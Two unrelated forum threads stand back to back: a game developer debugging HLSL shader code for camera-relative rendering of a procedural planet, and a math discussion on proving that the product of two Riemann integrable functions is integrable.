Posted 17 April 2014 - 09:32 AM

Oh Sorry, so :

Im working on a Procedural Planet with ChunkedLOD in earth Size.

To get a Sphere out of 6 Planes, i normalize each Vertex.

But the requirement is, the center of the cube (out of 6 planes) must be 0,0,0 (world-origin) like:

http://britonia.wordpress.com/2010/05/20/planet-geometry/

But here do the Vector3.normalize on the CPU, but i do it on the GPU:

VertexShaderOutput VertexShaderFunction(VertexShaderInput input)
{

float3 worldPosition = mul(input.Position, World).xyz;

float3 normalized = normalize(worldPosition);
float4 scaled = float4(normalized * SeaLevel, 1);

output.Position = mul(mul(scaled, View), Projection);

output.UV = input.UV;

return output;
}

So, when i subtract the Camera Position from the QuadTree-Patch Position the Center of my Sphere/Cube is not 0,0,0 .

Edited by montify, 17 April 2014 - 10:28 AM.

### #8DementedCarrot  Members

1142
Like
0Likes
Like

Posted 17 April 2014 - 10:45 AM

That's a tough one. I'm not totally sure how to accomplish this when the world meshes are created that way.

I'll think on it.

### #9montify  Members

590
Like
0Likes
Like

Posted 17 April 2014 - 11:32 AM

nono the worldmesh created like:

I have one VertexBuffer 33x33 vertices. ( a flat Plane )

Now i made 6 of this Planet (Rotatet, Translate) to get a Cube.

Now i normalize the Input.Position in the Shader = A perfect Sphere.

---------------------

Is it possible and have it the same effect to translate the Position ( Position - cameraPosition) NOT in the WorldSpace but rather in ViewSpace?

### #10montify  Members

590
Like
0Likes
Like

Posted 19 April 2014 - 10:40 AM

So i have it .

I Set the Camera Posititon to Vector3.Zero and "hack" the worldMatrix

  //new View Matrix
var View = Matrix.CreateLookAt(Vector3.Zero, cam.Forward, cam.Up);

Vector3 cameraSpacePosition = (position - cam.Position);

//Relative to the Camera
world.M41 = cameraSpacePosition.X;
world.M42 = cameraSpacePosition.Y;
world.M43 = cameraSpacePosition.Z;

But i scale/normalize each vertex (the entire Planet) in the Shader like ( with *6000):

VertexShaderOutput VertexShaderFunction(VertexShaderInput input)
{

float3 worldPosition = mul(input.Position, World).xyz;

float3 normalized = normalize(worldPosition);
float4 scaled = float4(worldPosition * 6000, 1);

output.Position = mul(scaled, ViewProj);

output.Position.z = log(C*output.Position.z + 1) / log(C*Far + 1) * output.Position.w; //Logarithmic Depth Buffer

return output;
}

The Scale and Normalize don't work anymore...

anybody out there who have a Solution for this Problem?

Edited by montify, 19 April 2014 - 10:41 AM.

### #11montify  Members

590
Like
0Likes
Like

Posted 21 April 2014 - 11:14 AM

Update:

Now i do the Relative to the Eye transformation in the VertexShader

VertexShaderOutput VertexShaderFunction(VertexShaderInput input)
{

float3 worldPosition = mul(input.Position, World).xyz;

float3 normalized = normalize(worldPosition);  // Normalize all Vertex to get a Sphere

float4 scaled = float4(normalized * SeaLevel, 1);  // Scale all Vertex with SeaLevel = 6000

scaled -= float4(camPosition, 1); //All geometry relative to the Eye

output.Position = mul(scaled, ViewProj);
output.Position.z = log(C*output.Position.z + 1) / log(C*Far + 1) * output.Position.w; //Logarithmic Depth Buffer
return output;
}

It works, no Jittering, but i have some odd  "stairs"

So whats going on here?

Old topic!

Guest, the last post of this topic is over 60 days old and at this point you may not reply in this topic. If you wish to continue this conversation start a new topic.


text:
# Thread: f & g Riemann integrable, show fg is integrable

1. ## f & g Riemann integrable, show fg is integrable

If f and g are both Riemann integrable on [a,b], prove that fg is also Riemann integrable.

This is what I've got so far...
Let ||f||∞= sup{|f(x)|: x E [a,b]}
$M_i(f,P)$ = sup{f(x): $x_{i-1}$ ≤ x ≤ $x_i$}
$m_i(f,P)$ = inf{f(x): $x_{i-1}$ ≤ x ≤ $x_i$} where P is a partition of [a,b]

Let x,t E [ $x_{i-1}, x_i$]
Then |f(x)g(x)-f(t)g(t)| |f(x)| |g(x)-g(t)| + |f(x)-f(t)| |g(t)| ≤ ||f||∞ [ $M_i(g,P)-m_i(g,P)$] + [ $M_i(f,P)-m_i(f,P)$] ||g||∞

Any help is appreciated!

[also under discussion in math links forum]

2. Originally Posted by kingwinner
If f and g are both Riemann integrable on [a,b], prove that fg is also Riemann integrable.

This is what I've got so far...
Let ||f||∞= sup{|f(x)|: x E [a,b]}
$M_i(f,P)$ = sup{f(x): $x_{i-1}$ ≤ x ≤ $x_i$}
$m_i(f,P)$ = inf{f(x): $x_{i-1}$ ≤ x ≤ $x_i$} where P is a partition of [a,b]

Let x,t E [ $x_{i-1}, x_i$]
Then |f(x)g(x)-f(t)g(t)| |f(x)| |g(x)-g(t)| + |f(x)-f(t)| |g(t)| ≤ ||f||∞ [ $M_i(g,P)-m_i(g,P)$] + [ $M_i(f,P)-m_i(f,P)$] ||g||∞

Any help is appreciated!

[also under discussion in math links forum]
You've discussed that $f,g\in\mathcal{R}\implies f+g\in\mathcal{R}$ and $f\circ g\in\mathcal{R}$, right? If so $fg=\frac{1}{4}\left[(f+g)^2-(f-g)^2\right]$

3. Originally Posted by Drexel28
You've discussed that $f,g\in\mathcal{R}\implies f+g\in\mathcal{R}$ and $f\circ g\in\mathcal{R}$, right? If so $fg=\frac{1}{4}\left[(f+g)^2-(f-g)^2\right]$
I've seen the result that if f and g are Riemann integrable, then f+g is Riemann intergrable, but I haven't seen the composition one. So I think we may as well prove this problem for the product fg from first principles.

Is there any way to prove that fg is Riemann integrable from basic definitions of upper and lower sums, and perhaps the integrability criterion?

4. Originally Posted by kingwinner
I've seen the result that if f and g are Riemann integrable, then f+g is Riemann intergrable, but I havn't seen the composition one. So I think we may as well prove this problem for the product fg from first principles.

Is there any way to prove that fg is Riemann integrable from basic definitions of upper and lower sums, and perhaps the integrability criterion?
I am not writing it out.

5. Originally Posted by kingwinner
If f and g are both Riemann integrable on [a,b], prove that fg is also Riemann integrable.

This is what I've got so far...
Let ||f||∞= sup{|f(x)|: x E [a,b]}
$M_i(f,P)$ = sup{f(x): $x_{i-1}$ ≤ x ≤ $x_i$}
$m_i(f,P)$ = inf{f(x): $x_{i-1}$ ≤ x ≤ $x_i$} where P is a partition of [a,b]

Let x,t E [ $x_{i-1}, x_i$]
Then |f(x)g(x)-f(t)g(t)| |f(x)| |g(x)-g(t)| + |f(x)-f(t)| |g(t)| ≤ ||f||∞ [ $M_i(g,P)-m_i(g,P)$] + [ $M_i(f,P)-m_i(f,P)$] ||g||∞

Any help is appreciated!

[also under discussion in math links forum]
I was motivated by your steps to write the proof. Sorry I do not know how to use LATEX so I have attached the proof as a .doc document.

The proof uses the notation of oscillation of a function on an interval, which is a very simple concept. Basically, it is the difference between the supremum and infimum of f on a given interval.
This notation is very useful because of how the upper Darboux and lower Darboux sum is defined.

The proof assumes a simple lemma about the oscillation of f on an interval, ie.
the oscillation of f on an interval = sup|f(x)-f(y)| for all x,y in the interval.
A proof of this lemma is also attached for your reference.

Hope this is useful (: